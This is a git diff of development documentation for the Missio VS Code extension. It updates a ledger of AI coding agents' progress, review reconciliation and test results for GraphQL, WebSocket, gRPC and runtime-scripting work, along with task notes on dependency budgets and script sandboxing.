+  Scope: review the new top-level comments on PRs #36, #46, #49, #50, #52, #53, #54, #56, #58, #59, #61, and #65; trace each finding to its current owning branch or PR #72; avoid modifying historical branches when the final composite already contains the correction.
+  Coverage: add the missing CI TypeScript compile gate; correct stale OC-050/OC-070/OC-080/OC-090 evidence and completion language; clarify the local-only mTLS fixture key and global TLS-verification toggle; re-run compile, focused review regressions, full tests, demo validation, and production build; then compose all 37 live heads sequentially and verify every immediate stack edge before pushing or replying.
+  Changed: this coverage-plan entry only.
+  Verified: all 37 live heads currently compose without conflict into tree `cbd75fa780b93f233bd7fd55096a7af10d210e9d`; implementation verification is pending.
+  Next: apply only the stack-tip CI/documentation corrections, verify the exact candidate composite, and post evidence-backed GitHub responses.
+
+- 2026-07-22 NZT - Codex PR second-review reconciliation: Completed the second review wave and stack-tip rework.
+  Findings: all behavioral/security blockers raised in the second wave were traced to current live fixes on PRs #49, #52, #56, #58, #59, or final rework PR #72. Residual work was limited to the CI compile gate, stale OC-050/OC-070/OC-080/OC-090 records, and explicit local-only mTLS fixture/TLS-toggle guidance; no historical implementation branch was changed.
+  GitButler: committed the seven-file residual slice as `b220ecb` (`Reconcile second review findings`) on `fix/open-collection-pr-rework` for PR #72.
+  Verified: all 37 immediate PR base/head edges merge cleanly; sequential composition of the 37 live heads plus `b220ecb` produced commit `31a2616`, tree `ea62cab88fd5966b4ab845bc9ea4585ed81df720`, with clean `git diff-tree --check`; `npm run build` passed; `npm run compile` passed; `npm test -- --run` passed 31 files/539 tests; `node scripts/validate-collection.js examples/demo-api` passed 47/47 files. The fresh local install used `npm ci --ignore-scripts` because the existing Socket postinstall fails under local Node 24; GitHub CI remains pinned to Node 20 and now runs the compile gate explicitly.
+  Next: commit this completion record, re-run final composition/edge checks for the ledger-only commit, push only PR #72, and post the 12 GitHub responses.
+
+- 2026-07-21 16:40 NZT - Codex PR review: Reconciled the complete stacked implementation with all review fixes raised through PR #53 in one isolated composite tree.
+  Composition: the 36-PR tip plus owning-branch fixes `ae8c54c`, `5b5164f`, `d34d834`/`a200076`, `f97c1c6`, `9b5ab9f`, and `5fe2bd8`, together with stack-tip rework through `87f10e3`. The rework branch is retained as an additional landing PR rather than an untracked branch.
+  Verified: `npm run compile` passed; `npm test -- --run` passed 29 files/509 tests; `npm run build` passed. This replaces the earlier absence of a single tested tree containing the stack and review fixes.
+
 - 2026-06-15 17:07 NZT - Codex Supervisor: Added OC-170 as a focused follow-up for request action first-click reliability after user reported Send/Connect-style buttons often require two clicks immediately after opening a request.
   GitButler: planning branch `supervisor/add-request-action-first-click-task`, stacked on `supervisor/add-grpc-demo-server-reliability-task`; existing OC-160 unassigned changes in `AGENT_PROGRESS.md`, `src/services/grpcClient.ts`, and `test/grpcSupport.test.ts` are parallel work and must be preserved.
   Coverage: OC-170 requires reproducing or ruling out the swallowed first click; auditing request editor startup, hydration, focus, event delegation, disabled/enabled state, and `postMessage` routing; automated first-click tests for HTTP, GraphQL, WebSocket, and gRPC primary actions; keyboard/accessibility coverage; shared protocol layout/command/CodeLens regressions; build, package, and local install verification.
@@ -170,9 +187,9 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Verified: docs-only planning change; `rg "OC-160|gRPC Demo Server Reliability|grpc-demo-server-reliability" docs/open-collection-gap-analysis` should confirm the task, prompt, task board, dependency map, and log references before commit.
   Next: launch OC-160 with the new goal prompt after current OC-150/user-theme work is settled, or run it immediately if the gRPC demo failures are blocking user verification.
 
-- 2026-06-15 10:03 NZT - Codex Supervisor: Completed final integration review for OC-000 through OC-110, accepted OC-070, aligned stale documentation, built, packaged, installed, and live-smoked the reviewed stack.
+- 2026-06-15 10:03 NZT - Codex Supervisor: Completed composite integration review for OC-000 through OC-110, accepted OC-070 from downstream PR #56, aligned stale documentation, built, packaged, installed, and live-smoked the reviewed workspace.
   GitButler: `but status -fv` showed all implementation branches applied and linked; the verified branches include `feature/oc-000-foundation-dispatch`, `feature/oc-010-graphql-support`, `feature/oc-020-websocket-support`, `feature/oc-030-grpc-unary-protobuf`, `feature/oc-040-runtime-scripting-testing`, `feature/oc-050-auth-transport`, `feature/oc-060-schema-roundtrip-validation`, `feature/oc-070-surface-polish`, `supervisor/add-runtime-authoring-ux-task` for OC-080, `feature/oc-090-grpc-streaming`, `feature/oc-100-request-type-ux`, and `feature/oc-110-runtime-authoring-ux`. Before this final ledger/docs commit, the only unassigned changes were supervisor-owned docs IDs `rl`, `tk`, and this ledger update.
-  Findings: no blocking implementation findings remain. OC-070 is accepted from commit `f9a5a55`; the README and gap-analysis wiki no longer describe completed scripting/runtime/type/surface work as missing.
+  Findings at this dated verification point: no blocking implementation findings remained in the composite workspace. OC-070 was applied from downstream PR #56 (`feature/oc-070-surface-polish`, implementation commit `154414a`) and is not an ancestor of this record's branch. This build/test acceptance is not a security review and does not supersede findings from later PR review.
   Verified: `npm run compile` passed; final targeted `npx vitest run test/oc070SurfacePolish.test.ts test/requestTypeUx.test.ts test/runtimeAuthoringUx.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts test/postmanImporter.test.ts test/openApiImporter.test.ts test/snippetExporter.test.ts test/openCollectionFoundation.test.ts test/graphqlSupport.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/httpClient.test.ts test/runtimeExecutionService.test.ts` passed 16 files/203 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed; `npx @vscode/vsce package --out $env:TEMP\missio-0.7.7-final-opencollection.vsix` passed; `code.cmd --install-extension $env:TEMP\missio-0.7.7-final-opencollection.vsix --force` installed `missio.missio@0.7.7`; live fixture smoke passed HTTP health, GraphQL, runtime echo, WebSocket echo, and gRPC unary/server-streaming.
   Next: OpenCollection compatibility implementation body is supervisor-accepted; next work should be PR publication/branch review rather than additional feature tracks unless product scope changes.
 
@@ -479,7 +496,7 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Verified: `npm run compile` passed; `npx vitest run test/openCollectionFoundation.test.ts` passed 9 tests; `npm test` passed 333 tests; `npm run build` passed.
   Next: OC-010, OC-020, OC-030, and OC-070 can use `OpenCollectionItem`, protocol type guards, and `RequestExecutionService`; protocol executors remain explicit follow-up work.
 - 2026-06-14 22:24 NZT - Codex: Finalized OC-000 into GitButler.
-  GitButler: stacked `feature/oc-000-foundation-dispatch` on `docs/open-collection-agent-plan`; committed implementation as `c30cdec` (`Add OC-000 protocol dispatch foundation`). Agent skill feedback committed separately on `docs/open-collection-agent-plan` as `98c9d3d`.
+  GitButler: PR #36, branch `feature/oc-000-foundation-dispatch`, owns the dispatch foundation at `src/services/requestExecutionService.ts`, protocol model/validation changes, and `test/openCollectionFoundation.test.ts`. Agent workflow feedback is owned separately by PR #35, branch `docs/open-collection-agent-plan`, under `.agents/skills/**` and `.opencode/skills/gitbutler/SKILL.md`.
   Coverage: unchanged from the 22:17 verification; no implementation files changed after the passing compile/test/build run.
   Changed: committed OC-000-owned implementation/test files to `fo`; left parallel OC-060 files (`src/models/schemaRoundTrip.ts`, `src/webview/*Panel.ts`, `test/schemaRoundTrip.test.ts`, `test/validationService.test.ts`) out of the OC-000 commit.
   Verified: `but commit feature/oc-000-foundation-dispatch -m "Add OC-000 protocol dispatch foundation" --changes ...` succeeded; final status audit pending after this ledger commit.
@@ -494,11 +511,11 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Verified: `but status -fv` read successfully; implementation tests not run yet.
   Next: inspect existing request editor, executor, validation, tree, CodeLens, Copilot tools, schema extensions, and demo API structure before implementation.
 - 2026-06-14 23:17 NZT - Codex: Completed OC-010 GraphQL support with schema-native editing, execution, routing, fixtures, and automated coverage.
-  GitButler: `feature/oc-010-graphql-support` (ra) committed as `a67a3ad` (`Add OC-010 GraphQL request support`) on top of `supervisor/demo-server-fixtures`; follow-up ledger commits record completion evidence, and shared runtime extension wiring commit `7a9dea5` currently sits on the same stack. `but status -fv` after implementation commit showed no OC-010-owned unassigned implementation changes.
+  GitButler: PR #43, branch `feature/oc-010-graphql-support`, owns the GraphQL fixtures at `examples/demo-api/GraphQL/**`, acceptance coverage at `test/graphqlSupport.test.ts`, and protocol-aware UI/tooling paths. Shared runtime extension wiring is on the same branch at `src/extension.ts`. `but status -fv` after implementation showed no OC-010-owned unassigned implementation changes.
   Coverage: implemented `test/graphqlSupport.test.ts` for GraphQL adapter/body variants, invalid variables, RequestExecutionService query/mutation execution against a local fixture, unresolved variables, CodeLens labels, Copilot list/send routing, and demo collection validation; extended schema round-trip/foundation/send-tool tests for GraphQL editor preservation and diagnostics.
   Changed: GraphQL demo requests under `examples/demo-api/GraphQL/`, `/graphql` demo server route, `src/services/graphqlSupport.ts`, GraphQL execution adaptation in `RequestExecutionService`, schema-native GraphQL request panel/editor merge support, tree/CodeLens/command/Copilot routing, and focused tests.
   Verified: targeted `npx vitest run test/graphqlSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/openCollectionFoundation.test.ts test/unresolvedVars.test.ts test/sendRequestTool.test.ts` passed 51 tests; post-commit `npm test` passed 20 files/380 tests; `npm run compile` passed; `npm run build` passed; live smoke via hidden `node examples/demo-api/server.js` plus `POST http://127.0.0.1:3456/graphql` returned `data.health.status: ok`.
-  Dependency/parallel notes: OC-030 committed shared package/types/unresolved-vars support separately as `0daa7be`; OC-040 runtime/response implementation is currently committed at `872660b` with follow-up no-change wiring commits above it; OC-020 WebSocket demo/test work is committed at `d599906`. OC-010 commit includes `src/services/runtimeExecutionService.ts` because concurrent runtime hooks are now part of the shared execution facade used by GraphQL. Final status after the ledger refresh had no unassigned changes.
+  Dependency/parallel notes: PR #37, branch `feature/oc-030-grpc-unary-protobuf`, owns shared package/types/unresolved-variable support in `package.json`, `package-lock.json`, `src/models/types.ts`, and `src/services/unresolvedVars.ts`; PR #39, branch `feature/oc-040-runtime-scripting-testing`, owns runtime/response implementation including `src/services/webSocketClient.ts`; PR #44, branch `feature/oc-020-websocket-support`, owns `examples/demo-api/WebSocket/**` and `test/webSocketSupport.test.ts`. Concurrent runtime hooks in `src/services/runtimeExecutionService.ts` are part of the shared execution facade used by GraphQL. Final status after the ledger refresh had no unassigned changes.
   Next: OC-010 is done; preserve the remaining WebSocket/runtime changes for their owning branches.
 
 ### OC-020 WebSocket Support
@@ -510,7 +527,7 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Verified: `but status -fv` and `but diff` read successfully; implementation tests not run yet.
   Next: inspect existing request editor, executor, validation, tree, CodeLens, Copilot tools, schema extensions, and demo API structure before implementation.
 - 2026-06-14 23:18 NZT - Codex: Completed OC-020 WebSocket support with schema-native editing, executor lifecycle coverage, local demo requests, and fixture-backed automated tests.
-  GitButler: committed OC-020-owned demo requests and tests as `d599906` (`Add OC-020 WebSocket demo fixtures and tests`) on `feature/oc-020-websocket-support` (we). Shared implementation needed for the complete applied workspace landed in parallel applied commits: `a67a3ad` for protocol-aware editor/tooling/demo server routing, `7a9dea5` for extension wiring, `872660b` for `WebSocketClient`, and `0daa7be` for the shared `ws` package dependency.
+  GitButler: PR #44, branch `feature/oc-020-websocket-support`, owns the demo requests at `examples/demo-api/WebSocket/**` and acceptance coverage at `test/webSocketSupport.test.ts`. Shared implementation is inherited from PR #43, branch `feature/oc-010-graphql-support`, for protocol-aware editor/tooling/demo server routing and `src/extension.ts`; PR #39, branch `feature/oc-040-runtime-scripting-testing`, for `src/services/webSocketClient.ts`; and PR #37, branch `feature/oc-030-grpc-unary-protobuf`, for the `ws` dependency in `package.json` and `package-lock.json`.
   Coverage: `test/webSocketSupport.test.ts` covers text, JSON, binary, selected message variants, inherited collection/folder/request headers, bearer auth handshake, invalid URL diagnostics, server close, explicit disconnect cancellation, active socket cleanup, RequestExecutionService WebSocket dispatch/cancel, schema-native WebSocket editor merge/save behavior, unresolved variable scanning including inherited headers/auth, CodeLens/list/send Copilot routing, demo collection validation, and committed demo request smoke coverage.
   Changed: OC-020 branch owns `examples/demo-api/WebSocket/*.yml` and `test/webSocketSupport.test.ts`; applied shared branches own `src/services/webSocketClient.ts`, `RequestExecutionService` dispatch, request panel/editor/tooling, `examples/demo-api/server.js`, `examples/demo-api/opencollection.yml`, and `package.json`/`package-lock.json`.
   Verified: `npx vitest run test/webSocketSupport.test.ts` passed 13 tests; `npx vitest run test/webSocketSupport.test.ts test/openCollectionFoundation.test.ts test/schemaRoundTrip.test.ts test/sendRequestTool.test.ts test/graphqlSupport.test.ts test/grpcSupport.test.ts test/validationService.test.ts` passed 54 tests; `npm test` passed 20 files/380 tests; `npm run compile` passed; `node scripts/validate-collection.js examples/demo-api` passed 32/32 files; live hidden `node examples/demo-api/server.js` smoke for `/ws/echo`, `/ws/auth`, and `/ws/close` returned echo `hello demo`, auth `true`, and close code `4000`; `npm run build` passed.
@@ -525,7 +542,7 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Verified: `but status -fv`, `but diff`, OC-030 task page, and demo server/collection review completed; implementation tests not run yet.
   Next: inspect current model, validation, editor, execution service, package dependencies, and test harness before adding gRPC/protobuf code.
 - 2026-06-14 23:16 NZT - Codex: Completed OC-030 gRPC unary and protobuf support.
-  GitButler: committed implementation as `02155e6` (`Add OC-030 gRPC unary protobuf support`) on `feature/oc-030-grpc-unary-protobuf` (rp). Current workspace still contains sibling OC-020/OC-040 changes and the shared ledger hunk, so this final ledger update is documentation-only and must preserve those parallel notes.
+  GitButler: PR #37, branch `feature/oc-030-grpc-unary-protobuf`, owns the gRPC implementation at `src/services/grpcClient.ts`, `examples/demo-api/gRPC/**`, `examples/demo-api/proto/**`, and `test/grpcSupport.test.ts`. The workspace also contained sibling OC-020/OC-040 changes and the shared ledger hunk, so this final ledger update was documentation-only and preserved those parallel notes.
   Coverage: implemented protobuf collection config editing and round-trip preservation, schema-native gRPC request validation, metadata defaults/precedence, unary execution through `GrpcClient`, request/collection/folder auth metadata merging, variable interpolation, cancellation cleanup, missing proto and invalid method diagnostics, explicit streaming unsupported diagnostics, local demo gRPC server/proto fixtures, demo request files, demo collection validation, and fixture smoke coverage.
   Changed: `package.json`, `package-lock.json`, `src/models/types.ts`, `src/models/schemaRoundTrip.ts`, `src/panels/collectionPanel.ts`, `src/webview/collectionPanel.ts`, `src/services/grpcClient.ts`, `src/services/unresolvedVars.ts`, `scripts/validate-collection.js`, `examples/demo-api/grpc-server.js`, `examples/demo-api/proto/**`, `examples/demo-api/gRPC/**`, `examples/demo-api/opencollection.yml`, and `test/grpcSupport.test.ts`.
   Verified: `npx vitest run test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts` passed 16 tests; `npx vitest run test/openCollectionFoundation.test.ts test/runtimeExecutionService.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts` passed 30 tests; `node scripts/validate-collection.js examples/demo-api` passed 32 files; `npm run compile` passed; `npm test` passed 20 files and 380 tests; `npm run build` passed; an actual `node examples/demo-api/grpc-server.js` smoke call to `missio.demo.DemoService/EchoUnary` returned `ok: true`.
@@ -580,7 +597,7 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Next: Review or commit OC-060 with explicit GitButler change IDs only; do not include the parallel OC-000 files.
 
 - 2026-06-14 22:30 NZT - Codex: Finalized OC-060 into GitButler after the updated finalization audit.
-  GitButler: moved `feature/oc-060-schema-roundtrip-validation` onto `feature/oc-000-foundation-dispatch`; committed implementation as `166c297` (`Add OC-060 schema round-trip validation`) with only OC-060-owned change IDs `nq`, `vm`, `rz`, `rol`, `opy`, and `np`.
+  GitButler: PR #40, branch `feature/oc-060-schema-roundtrip-validation`, owns schema round-trip and validation coverage in `test/schemaRoundTrip.test.ts`, `test/validationService.test.ts`, and `src/webview/{collectionPanel,folderPanel,requestPanel}.ts`; only the OC-060-owned change IDs `nq`, `vm`, `rz`, `rol`, `opy`, and `np` were committed there.
   Coverage: no-op schema round-trip coverage for HTTP, GraphQL, WebSocket, gRPC, folder, environment, and collection fixtures; validation coverage for protocol-aware request schemas, collection workspace validation, protocol-labelled diagnostics, unknown-field/default preservation, and non-HTTP safety.
   Changed: committed `src/models/schemaRoundTrip.ts`, `src/webview/collectionPanel.ts`, `src/webview/folderPanel.ts`, `src/webview/requestPanel.ts`, `test/schemaRoundTrip.test.ts`, and `test/validationService.test.ts` to `sc`; left OC-000 (`c3:*`, `46:*`) and planning docs (`98:*`, `11:*`) as stack dependencies.
   Verified: `npx vitest run test/schemaRoundTrip.test.ts test/validationService.test.ts` passed (8 tests); `npm test` passed (15 files, 341 tests); `npm run compile` passed; `npm run build` passed.
@@ -611,6 +628,8 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
 
 ### OC-080 Runtime Lifecycle For Non-HTTP Protocols
 
+> Security correction (2026-07-22): the historical regression entries below describe script-source interpolation that has now been removed by PR #65 and reconciled at the stack tip by PR #72. Runtime scripts must read values as data through `missio.variables.get`; executable source containing `{{variable}}` placeholders is rejected before compilation.
+
 - 2026-06-15 01:02 NZT - Codex: Claimed OC-080 and recorded the coverage plan before implementation.
   GitButler: `feature/oc-080-runtime-non-http-protocols` (no). Current `but status -fv` shows pre-existing staged OC-070 shared-surface hunks in `docs/open-collection-gap-analysis/AGENT_PROGRESS.md`, `src/copilot/tools/sendRequestTool.ts`, and `src/panels/requestPanel.ts`; preserve those and route only OC-080-owned hunks/files.
   Coverage: planned unit/integration tests for WebSocket and unary gRPC before/after runtime lifecycle order, protocol-neutral request/response context shape, scripts/tests/assertions/actions, runtime variable mutation before resolution and after response actions, sandbox denial/security diagnostics, failure-path response preservation, cancellation/cleanup, response provider rendering, Copilot tool output, schema-valid local demo WebSocket/gRPC runtime fixtures, compile, full suite, demo validation, build, and live local fixture smoke tests.
@@ -667,11 +686,11 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Next: audit request editor serializer/webview, runtime schema/types, runtime fixtures, and existing tests before adding OC-110 coverage and implementation.
 
 - 2026-06-15 09:28 NZT - Codex: Completed OC-110 runtime authoring UX with schema-valid visual editing for scripts, tests, assertions, and set-variable actions across HTTP, GraphQL, WebSocket, and gRPC requests.
-  GitButler: `feature/oc-110-runtime-authoring-ux` (g0), stacked on `supervisor/add-runtime-authoring-ux-task`; implementation commit `fe0ad14` (`Add OC-110 runtime authoring UX`). `but status -fv` after the implementation commit shows only this ledger file as unassigned. A temporary README guidance hunk was removed from this slice because README is owned by the separate OC-070 stack; user-verifiable guidance remains in the committed demo request descriptions.
+  GitButler: `feature/oc-110-runtime-authoring-ux` (g0), stacked on `supervisor/add-runtime-authoring-ux-task`; implementation commit `01915d7` (`Add OC-110 runtime authoring UX`). `but status -fv` after the implementation commit shows only this ledger file as unassigned. A temporary README guidance hunk was removed from this slice because README is owned by the separate OC-070 stack; user-verifiable guidance remains in the committed demo request descriptions.
   Coverage: implemented `test/runtimeAuthoringUx.test.ts` for editor model/UI shell create/edit/disable/reorder/remove behavior, runtime YAML preservation, disabled entries, structured description preservation, no stale protocol roots, and gRPC-safe runtime edits; expanded runtime execution coverage for disabled scripts; expanded validation coverage for disabled scripts across protocol requests; re-ran shared schema, request type, WebSocket, and gRPC regressions.
   Changed: `src/models/schemaRoundTrip.ts`, `src/models/types.ts`, `src/panels/requestPanel.ts`, `src/webview/requestPanel.ts`, `src/webview/requestPanel.css`, `src/services/runtimeExecutionService.ts`, `schema/missio-extensions.json`, `schema/opencollectionschema.json`, runtime/demo request guidance files under `examples/demo-api`, `test/runtimeAuthoringUx.test.ts`, `test/runtimeExecutionService.test.ts`, `test/validationService.test.ts`, and this ledger.
   Verified: focused `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts test/validationService.test.ts test/schemaRoundTrip.test.ts test/requestTypeUx.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` passed 7 files/66 tests; `npm run compile` passed; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/434 tests; `npm run build` passed.
-  Next: commit this ledger update to `feature/oc-110-runtime-authoring-ux`; OC-110 is ready for review from `fe0ad14` plus the ledger commit.
+  Next: commit this ledger update to `feature/oc-110-runtime-authoring-ux`; OC-110 is ready for review from `01915d7` plus the ledger commit.
 
 - 2026-06-15 09:36 NZT - Codex Supervisor: Reviewed OC-110, built, packaged, and installed the extension.
   GitButler: `feature/oc-110-runtime-authoring-ux` (g0) remains stacked on `supervisor/add-runtime-authoring-ux-task`; `but status -fv` was clean after package/install. Build-regenerated `schema/opencollectionschema.json` produced no content diff and was discarded as line-ending churn before packaging.
@@ -687,13 +706,13 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Next: patch the request runtime editor, runtime action diagnostics, and focused tests, then re-run the OC-110 verification matrix.
 
 - 2026-06-15 09:45 NZT - Codex: Addressed both OC-110 supervisor findings.
-  GitButler: implementation/test follow-up committed to `feature/oc-110-runtime-authoring-ux` as `1e6db05` (`Address OC-110 runtime authoring review`); `but status -fv` after that commit showed only this ledger file as unassigned.
+  GitButler: implementation/test follow-up committed to `feature/oc-110-runtime-authoring-ux` as `c69bcde` (`Address OC-110 runtime authoring review`); `but status -fv` after that commit showed only this ledger file as unassigned.
   Coverage: removed `hooks` from new runtime script choices while preserving existing schema-valid hook rows with a disabled diagnostic option and visible warning; limited new `set-variable` action scopes to `runtime` and `request` while preserving existing folder/collection/environment YAML with diagnostics; runtime now returns a failed action diagnostic for unsupported persisted scopes instead of silently mutating runtime variables.
   Changed: `src/webview/requestPanel.ts`, `src/webview/requestPanel.css`, `src/services/runtimeExecutionService.ts`, `test/runtimeAuthoringUx.test.ts`, `test/runtimeExecutionService.test.ts`, and this ledger.
   Verified: `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts` passed 2 files/15 tests; `npm run compile` passed; focused `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts test/validationService.test.ts test/schemaRoundTrip.test.ts test/requestTypeUx.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` passed 7 files/69 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed.
   Next: commit this ledger update to `feature/oc-110-runtime-authoring-ux`; OC-110 is ready for final supervisor acceptance.
 
-- 2026-06-15 09:51 NZT - Codex Supervisor: Reviewed OC-110 follow-up commit `1e6db05` and found no remaining blocking issues.
+- 2026-06-15 09:51 NZT - Codex Supervisor: Reviewed OC-110 follow-up commit `c69bcde` and found no remaining blocking issues.
   GitButler: `feature/oc-110-runtime-authoring-ux` (g0) remains stacked on `supervisor/add-runtime-authoring-ux-task`; `but status -fv` showed clean `zz` after build verification.
   Findings: none. The previous findings are addressed: new runtime script rows no longer offer `hooks`, new set-variable rows no longer offer folder/collection/environment scopes, existing schema-valid unsupported rows are preserved with visual diagnostics, and runtime execution reports unsupported persisted scopes instead of silently writing runtime variables.
   Verified: `npm run compile` passed; focused `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts test/validationService.test.ts test/schemaRoundTrip.test.ts test/requestTypeUx.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` passed 7 files/69 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed.
diff --git a/docs/open-collection-gap-analysis/README.md b/docs/open-collection-gap-analysis/README.md
index 00238b9..4dd042d 100644
--- a/docs/open-collection-gap-analysis/README.md
+++ b/docs/open-collection-gap-analysis/README.md
@@ -31,11 +31,15 @@ GitButler skill availability has been verified with `but skill check`:
 
 | Install | Path | Version |
 | --- | --- | --- |
-| Agent Skills global | `C:\Users\chris\.agents\skills\gitbutler` | `0.20.0` |
+| Agent Skills global | `%USERPROFILE%\.agents\skills\gitbutler` | `0.20.0` |
 | OpenCode local | `.opencode/skills/gitbutler` | `0.20.0` |
 
 If an agent host injects the GitButler skill, use it. If not, read `.opencode/skills/gitbutler/SKILL.md` before performing version-control operations.
 
+## Dependency Budget
+
+Prefer zero or low-transitive-cost dependencies. Before adding a non-trivial dependency, record its necessity, transitive and packaging impact, and approval in `AGENT_PROGRESS.md`. Do not add speculative or unused packages.
+
 ## Test Coverage Contract
 
 Every implementation change needs complete automated coverage for the behavior it adds or changes. A task cannot move to `Review Ready` or `Done` until the task row and log include the coverage plan, exact commands run, results, and any remaining gaps.
diff --git a/docs/open-collection-gap-analysis/tasks/00-foundation-and-dispatch.md b/docs/open-collection-gap-analysis/tasks/00-foundation-and-dispatch.md
index c4286b1..ca5a038 100644
--- a/docs/open-collection-gap-analysis/tasks/00-foundation-and-dispatch.md
+++ b/docs/open-collection-gap-analysis/tasks/00-foundation-and-dispatch.md
@@ -59,3 +59,4 @@ Add schema-aligned TypeScript types for:
 
 This task should be claimed before major protocol implementation begins. If multiple agents need it, split by `models/types.ts`, parser/type guards, and executor facade, then coordinate through `AGENT_PROGRESS.md`.
 
+OC-000 owns the shared model, type guards, parser routing, and execution facade. Protocol-specific tree, CodeLens, command, import, and export behavior remains with the protocol tracks or OC-070.
diff --git a/docs/open-collection-gap-analysis/tasks/01-graphql.md b/docs/open-collection-gap-analysis/tasks/01-graphql.md
index c45c235..096b59e 100644
--- a/docs/open-collection-gap-analysis/tasks/01-graphql.md
+++ b/docs/open-collection-gap-analysis/tasks/01-graphql.md
@@ -80,4 +80,3 @@ Missio has no GraphQL types, editor, executor, validation selection, tree render
 ## Out Of Scope
 
 GraphQL schema introspection, autocomplete, persisted queries, and GraphQL subscriptions should be separate follow-up tasks after basic request support lands.
-
diff --git a/docs/open-collection-gap-analysis/tasks/02-websocket.md b/docs/open-collection-gap-analysis/tasks/02-websocket.md
index 76d43aa..e101962 100644
--- a/docs/open-collection-gap-analysis/tasks/02-websocket.md
+++ b/docs/open-collection-gap-analysis/tasks/02-websocket.md
@@ -70,4 +70,3 @@ There is no WebSocket dependency, editor, connection manager, response/message U
 ## Dependency Choice
 
 Prefer the established `ws` package unless VS Code/Electron APIs provide a better fit. Add types and tests with a local in-process server.
-
diff --git a/docs/open-collection-gap-analysis/tasks/03-grpc.md b/docs/open-collection-gap-analysis/tasks/03-grpc.md
index 5b281a6..00423b6 100644
--- a/docs/open-collection-gap-analysis/tasks/03-grpc.md
+++ b/docs/open-collection-gap-analysis/tasks/03-grpc.md
@@ -32,7 +32,7 @@ Missio has no protobuf config model, no gRPC metadata/defaults handling, no prot
 | `protoFiles` | Path, disabled, add/remove. |
 | `importPaths` | Path, disabled, add/remove. |
 
-4. Choose gRPC dependencies, likely `@grpc/grpc-js` and `@grpc/proto-loader`.
+4. Choose gRPC dependencies, likely `@grpc/grpc-js` and `@grpc/proto-loader`, subject to the project dependency budget. Record the package necessity, transitive and packaging impact, and approval in `AGENT_PROGRESS.md` before adding them.
 5. Implement unary execution first:
 
 | Step | Behavior |
@@ -86,4 +86,3 @@ Missio has no protobuf config model, no gRPC metadata/defaults handling, no prot
 ## Coordination Notes
 
 Keep the unary implementation small and well-tested. Streaming support is larger and should be split into separate subtasks after unary lands.
-
diff --git a/docs/open-collection-gap-analysis/tasks/04-runtime-scripting-testing.md b/docs/open-collection-gap-analysis/tasks/04-runtime-scripting-testing.md
index ed077aa..0328745 100644
--- a/docs/open-collection-gap-analysis/tasks/04-runtime-scripting-testing.md
+++ b/docs/open-collection-gap-analysis/tasks/04-runtime-scripting-testing.md
@@ -18,7 +18,7 @@ Use `$missio-demo-server-fixtures` for local runtime fixture routes and user-ver
 
 ## Current Gap
 
-Only TypeScript interfaces exist. There is no sandbox, runtime context, assertion evaluator, action evaluator, test result UI, or Postman script conversion.
+Only TypeScript interfaces exist. There is no sandbox, runtime context, assertion evaluator, action evaluator, or test result UI. Postman script/event conversion is owned by OC-070 and depends on this runtime contract.
 
 ## Implementation Plan
 
@@ -35,8 +35,8 @@ Only TypeScript interfaces exist. There is no sandbox, runtime context, assertio
 
 | Option | Notes |
 | --- | --- |
-| Node `vm` sandbox | Lightweight, local, must restrict globals carefully. |
-| Isolated VM package | Better isolation, extra dependency and packaging work. |
+| Bare Node `vm` | Not a security boundary; never use it for untrusted collection scripts. |
+| Isolated worker or sandbox | Preferred for untrusted scripts; record the isolation and packaging trade-offs before choosing an implementation. |
 
 3. Implement lifecycle order:
 
@@ -84,4 +84,3 @@ Only TypeScript interfaces exist. There is no sandbox, runtime context, assertio
 ## Security Notes
 
 Treat scripts as untrusted collection content. Any powerful API, shell access, or filesystem access must be opt-in and clearly approved by the user.
-
diff --git a/docs/open-collection-gap-analysis/tasks/05-auth-proxy-mtls.md b/docs/open-collection-gap-analysis/tasks/05-auth-proxy-mtls.md
index 4e4e783..a316d8a 100644
--- a/docs/open-collection-gap-analysis/tasks/05-auth-proxy-mtls.md
+++ b/docs/open-collection-gap-analysis/tasks/05-auth-proxy-mtls.md
@@ -85,4 +85,3 @@ Close schema-native auth and transport gaps for HTTP-compatible protocols while
 | Proxy with basic auth. | Proxy receives authenticated request. |
 | mTLS fixture. | Server verifies client certificate. |
 | OAuth2 query token placement. | Resource URL contains token param. |
-
diff --git a/docs/open-collection-gap-analysis/tasks/06-schema-roundtrip-validation.md b/docs/open-collection-gap-analysis/tasks/06-schema-roundtrip-validation.md
index 0d026e1..6e02d5c 100644
--- a/docs/open-collection-gap-analysis/tasks/06-schema-roundtrip-validation.md
+++ b/docs/open-collection-gap-analysis/tasks/06-schema-roundtrip-validation.md
@@ -66,4 +66,3 @@ Editors clone documents before editing known fields, which helps preserve unknow
 ## Coordination Notes
 
 This track can start immediately with tests. Many failing tests will document gaps before implementation tracks fix them.
-
diff --git a/docs/open-collection-gap-analysis/tasks/07-import-export-copilot.md b/docs/open-collection-gap-analysis/tasks/07-import-export-copilot.md
